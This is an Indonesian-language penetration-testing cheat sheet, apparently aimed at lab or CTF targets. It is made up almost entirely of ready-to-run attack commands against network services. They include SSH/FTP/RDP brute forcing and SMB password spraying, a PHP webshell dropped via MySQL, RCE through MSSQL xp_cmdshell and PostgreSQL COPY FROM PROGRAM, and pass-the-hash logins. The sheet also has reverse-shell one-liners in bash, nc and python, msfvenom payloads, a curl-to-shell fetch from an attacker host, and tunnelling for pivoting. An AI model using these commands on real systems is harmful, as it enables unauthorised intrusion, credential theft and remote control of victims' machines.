Network & Infra Pentest
Command & teknik pengujian keamanan jaringan dan infrastruktur — dari host/port discovery, packet capture, pengujian mendalam per service (SSH, FTP, Telnet, SMTP, DNS, SNMP, SMB, database, RDP/VNC, LDAP), sampai exploitation, privilege escalation, dan pivoting.
15 kategori · 44 command
·
Ping Sweep Subnet
Cari host aktif dalam satu jaringan.
bash
# Host hidup saja (tanpa scan port) nmap -sn 192.168.1.0/24 # Host yang blokir ICMP (probe TCP) nmap -sn -PS22,80,443 192.168.1.0/24 fping -a -g 192.168.1.0/24 2>/dev/null
Scan Semua Port
Pemindaian menyeluruh 1-65535 dengan output tersimpan.
bash
# Semua port TCP + simpan semua format (-oA) nmap -p- -T4 -oA fullscan 10.10.10.10 # Cepat: temukan port dulu, baru scan mendalam nmap -p- --min-rate 5000 -T4 10.10.10.10 # catat port terbuka nmap -sCV -p22,80,443 10.10.10.10
Deteksi Versi & Script Default
Identifikasi service dan jalankan NSE default.
bash
nmap -sV -sC -p22,80,443 10.10.10.10 # Agresif: OS + versi + script + traceroute nmap -A -p- 10.10.10.10 # Jalankan kategori NSE tertentu nmap --script vuln -p80,443 10.10.10.10
Scan UDP Top Port
Cek layanan UDP yang paling umum terbuka.
bash
nmap -sU --top-ports 20 10.10.10.10 # UDP spesifik (jauh lebih cepat) nmap -sU -p53,161,123,500 10.10.10.10
Scan UDP jauh lebih lambat, batasi port yang dicek.
Capture Traffic
Rekam semua paket pada interface tertentu.
bash
# Rekam semua paket ke file tcpdump -i eth0 -w capture.pcap # Filter host & port saat capture tcpdump -i eth0 host 10.10.10.10 and port 80 -w web.pcap # Baca file & tampilkan payload ASCII tcpdump -r capture.pcap -A
Filter HTTP di Wireshark
Tampilkan hanya request HTTP.
bash
# Display filter Wireshark http.request http.request.method == "POST" http contains "password"
Filter Port SMB
Fokus pada traffic SMB (port 445).
bash
tcp.port == 445 smb2 || smb ntlmssp # tangkap negosiasi auth NTLM
Filter DNS Query
Cari query DNS ke domain tertentu.
bash
dns.qry.name contains "target" dns.flags.response == 0 # hanya query (bukan reply) dns.qry.type == 16 # TXT (sering dipakai exfil)
Enum Versi & Metode Auth
Kenali versi, algoritma, dan metode autentikasi yang diterima.
bash
nmap -sV -p22 10.10.10.10 nmap --script ssh2-enum-algos,ssh-auth-methods -p22 10.10.10.10 # Metode auth yang diterima server ssh -v user@10.10.10.10 2>&1 | grep -i 'authentications that can continue'
User Enumeration
Bedakan user valid/invalid pada OpenSSH rentan.
bash
# CVE-2018-15473 (OpenSSH < 7.7) python3 ssh-username-enum.py 10.10.10.10 -U users.txt # Cek publickey per user (respons beda utk user valid) ssh -o PreferredAuthentications=publickey -o PubkeyAuthentication=no user@10.10.10.10
Brute Force & Login Kunci
Uji kredensial lemah atau login dengan private key.
bash
hydra -L users.txt -P rockyou.txt ssh://10.10.10.10 -t4 netexec ssh 10.10.10.10 -u users.txt -p rockyou.txt # Login dgn private key temuan chmod 600 id_rsa; ssh -i id_rsa user@10.10.10.10
-t4 batasi thread; OpenSSH sering drop koneksi paralel berlebih.
Crack Key & Audit Config
Pecahkan passphrase kunci & cari konfigurasi berbahaya.
bash
# Crack passphrase private key ssh2john id_rsa > key.hash; john --wordlist=rockyou.txt key.hash # Konfigurasi berisiko di server grep -E 'PermitRootLogin|PasswordAuthentication|PermitEmptyPasswords' /etc/ssh/sshd_config
Anonymous & Enum
Cek akses anonymous lalu unduh isinya.
bash
# Cek anonymous (user: anonymous / pass: anonymous) ftp 10.10.10.10 nmap --script ftp-anon,ftp-syst -p21 10.10.10.10 # Download rekursif wget -r ftp://anonymous:anonymous@10.10.10.10/
Brute Force
Uji kredensial lemah pada login FTP.
bash
hydra -L users.txt -P rockyou.txt ftp://10.10.10.10 netexec ftp 10.10.10.10 -u users.txt -p rockyou.txt
Bounce & Upload Shell
Scan internal via FTP bounce atau upload webshell.
bash
# FTP bounce: scan host internal lewat server FTP nmap -b anonymous:anonymous@10.10.10.10 172.16.0.5 -p22,80 # Bila FTP root = webroot, upload lalu akses via web put shell.php
Cek versi: vsFTPd 2.3.4 (backdoor) & ProFTPd tertentu punya exploit publik (searchsploit).
Banner & Brute
Ambil banner lalu uji kredensial lemah.
bash
# Banner grab nc -nv 10.10.10.10 23 nmap --script telnet-ntlm-info,telnet-encryption -p23 10.10.10.10 # Brute force hydra -L users.txt -P rockyou.txt telnet://10.10.10.10
Sniffing Cleartext
Telnet mengirim kredensial tanpa enkripsi — tangkap.
bash
tcpdump -i eth0 port 23 -A # Wireshark: filter 'telnet' -> Follow TCP Stream
Karena tanpa enkripsi, seluruh sesi & kredensial terbaca di jaringan.
User Enumeration
Validasi user lewat VRFY/EXPN/RCPT TO.
bash
smtp-user-enum -M VRFY -U users.txt -t 10.10.10.10 nmap --script smtp-enum-users -p25 10.10.10.10 # Manual nc -nv 10.10.10.10 25 VRFY root
Open Relay Test
Cek apakah server mau meneruskan email pihak luar.
bash
nmap --script smtp-open-relay -p25 10.10.10.10 # Uji kirim (from & to eksternal) swaks --server 10.10.10.10 --from spoof@evil.com --to victim@target.com
Enum Command & Banner
Lihat kemampuan server (AUTH, STARTTLS).
bash
nc -nv 10.10.10.10 25 EHLO x # lihat AUTH, STARTTLS, VRFY yang didukung
Zone Transfer (AXFR)
Coba tarik seluruh isi zona dari name server.
bash
dig axfr @10.10.10.10 target.com dnsrecon -d target.com -t axfr fierce --domain target.com
AXFR sukses = bocor seluruh record internal (subdomain, IP, service).
Brute Subdomain & Record
Temukan subdomain & baca record penting.
bash
dnsrecon -d target.com -D subdomains.txt -t brt gobuster dns -d target.com -w subdomains.txt # Semua record dig @10.10.10.10 target.com ANY
Versi Server
Bocorkan versi software DNS (info disclosure).
bash
dig @10.10.10.10 version.bind chaos txtBrute Community & Walk
Tebak community string lalu baca seluruh MIB.
bash
# Brute community string onesixtyone -c community.txt 10.10.10.10 # Walk & ringkasan snmpwalk -c public -v2c 10.10.10.10 snmp-check 10.10.10.10 -c public
Ekstrak Data Sensitif
Ambil proses, user, dan port lewat OID kunci.
bash
snmpwalk -c public -v1 10.10.10.10 1.3.6.1.2.1.25.4.2.1.2 # proses berjalan snmpwalk -c public -v1 10.10.10.10 1.3.6.1.4.1.77.1.2.25 # daftar user snmpwalk -c public -v1 10.10.10.10 1.3.6.1.2.1.6.13.1.3 # port TCP
Community 'private' (RW) bisa dipakai mengubah konfigurasi device.
Enum Shares & Null Session
List share tanpa kredensial & enum user/group.
bash
# List share (null session) smbclient -L //10.10.10.10/ -N netexec smb 10.10.10.10 -u '' -p '' --shares # Enum lengkap user/group/policy enum4linux-ng -A 10.10.10.10
Versi & Vuln
Deteksi dialek/signing & cek celah kritikal.
bash
netexec smb 10.10.10.10 nmap --script smb-protocols,smb-security-mode -p445 10.10.10.10 # EternalBlue dsb nmap --script smb-vuln-ms17-010 -p445 10.10.10.10
Akses Share & Spray
Baca share dgn kredensial & password spraying.
bash
smbclient //10.10.10.10/share -U 'user%pass' smbmap -H 10.10.10.10 -u user -p pass # Password spray satu password ke banyak user netexec smb 10.10.10.10 -u users.txt -p 'Password1' --continue-on-success
MySQL (3306)
Login, enum, dan baca/tulis file.
bash
mysql -h 10.10.10.10 -u root -p nmap --script mysql-empty-password,mysql-info -p3306 10.10.10.10 # Baca/tulis file (butuh FILE privilege) SELECT LOAD_FILE('/etc/passwd'); SELECT '<?php system($_GET[c]);?>' INTO OUTFILE '/var/www/html/s.php';
MSSQL (1433)
Login lalu RCE via xp_cmdshell.
bash
mssqlclient.py DOMAIN/user:pass@10.10.10.10 -windows-auth # Aktifkan & jalankan xp_cmdshell SQL> enable_xp_cmdshell SQL> xp_cmdshell whoami
PostgreSQL (5432)
Login dan RCE via COPY ... PROGRAM.
bash
psql -h 10.10.10.10 -U postgres netexec postgres 10.10.10.10 -u postgres -p postgres # RCE (PostgreSQL >= 9.3) COPY cmd_exec FROM PROGRAM 'id';
Coba default creds: root/'' (MySQL), sa/'' (MSSQL), postgres/postgres.
RDP (3389)
Cek NLA, brute (hati-hati lockout), lalu konek.
bash
# Info NLA & enkripsi nmap --script rdp-ntlm-info,rdp-enum-encryption -p3389 10.10.10.10 # Brute netexec rdp 10.10.10.10 -u users.txt -p rockyou.txt # Konek (password atau pass-the-hash) xfreerdp /u:user /p:pass /v:10.10.10.10 xfreerdp /u:admin /pth:<NTLM> /v:10.10.10.10
Brute RDP mudah memicu account lockout — batasi percobaan.
VNC (5900)
Cek auth, brute password, dan konek.
bash
nmap --script vnc-info,vnc-title -p5900 10.10.10.10 # Brute password VNC hydra -P rockyou.txt vnc://10.10.10.10 # Konek vncviewer 10.10.10.10:5900
Anonymous Bind & Dump
Tarik naming context & objek tanpa kredensial.
bash
# Naming context ldapsearch -x -H ldap://10.10.10.10 -s base namingcontexts # Dump objek (cari password di field description) ldapsearch -x -H ldap://10.10.10.10 -b 'DC=corp,DC=local' '(objectClass=user)' sAMAccountName description
Brute & Enum
Uji kredensial & enumerasi user via tools.
bash
netexec ldap 10.10.10.10 -u users.txt -p rockyou.txt # Enum user/group windapsearch.py -d corp.local --dc-ip 10.10.10.10 -U
Metasploit Cepat
Jalankan exploit dan set payload dalam satu baris.
bash
# Handler multi/handler satu baris msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 10.10.14.1; set LPORT 4444; run" # Cari modul & generate payload msf6 > search type:exploit vsftpd msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f elf -o sh.elf
Listener Netcat
Siapkan listener untuk menangkap reverse shell.
bash
# Listener dasar nc -lvnp 4444 # Dengan history/arrow keys (shell lebih nyaman) rlwrap nc -lvnp 4444
Reverse Shell Bash
Payload shell balik dari target ke attacker.
bash
# Bash bash -i >& /dev/tcp/10.10.14.1/4444 0>&1 # Alternatif nc 10.10.14.1 4444 -e /bin/bash python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.1",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")' # Upgrade ke TTY penuh python3 -c 'import pty;pty.spawn("/bin/bash")' # lalu Ctrl+Z; stty raw -echo; fg
Selalu sesuaikan IP & port dengan listener yang aktif.
Cari File SUID
Temukan binary yang bisa dieksploitasi untuk privesc.
bash
# Binary SUID find / -perm -4000 -type f 2>/dev/null # Capabilities (cap_setuid dll) getcap -r / 2>/dev/null # Cocokkan hasil dengan GTFOBins -> https://gtfobins.github.io
Jalankan LinPEAS
Automasi pencarian celah privilege escalation.
bash
# Lokal (simpan output) ./linpeas.sh | tee linpeas_output.txt # Tanpa nulis ke disk (stream dari attacker) curl 10.10.14.1/linpeas.sh | sh
Cek Sudo Rights
Lihat command apa saja yang bisa dijalankan sebagai root.
bash
sudo -l # Incar NOPASSWD atau binary GTFOBins sudo -l | grep NOPASSWD # Cek versi sudo (mis. CVE-2021-3156 Baron Samedit) sudo --version | head -1
Dynamic Port Forward SSH
Buat SOCKS proxy lewat SSH.
bash
# SOCKS proxy dinamis ssh -D 1080 user@10.10.10.10 # Local forward (akses satu port internal) ssh -L 8080:172.16.0.5:80 user@10.10.10.10 # Remote forward (target -> attacker) ssh -R 9000:127.0.0.1:80 user@10.10.14.1
Proxychains
Rutekan tool lain lewat proxy yang sudah dibuat.
bash
# /etc/proxychains.conf -> socks5 127.0.0.1 1080 proxychains nmap -sT -Pn 172.16.0.0/24 proxychains curl http://172.16.0.5
Pakai -sT (TCP connect) karena SOCKS tak meneruskan scan SYN mentah.
Chisel Reverse Tunnel
Tunnel ke jaringan target yang tidak reachable langsung.
bash
# di attacker (server) ./chisel server -p 8000 --reverse # di target (client) ./chisel client 10.10.14.1:8000 R:socks # lalu akses via proxychains (socks 127.0.0.1:1080)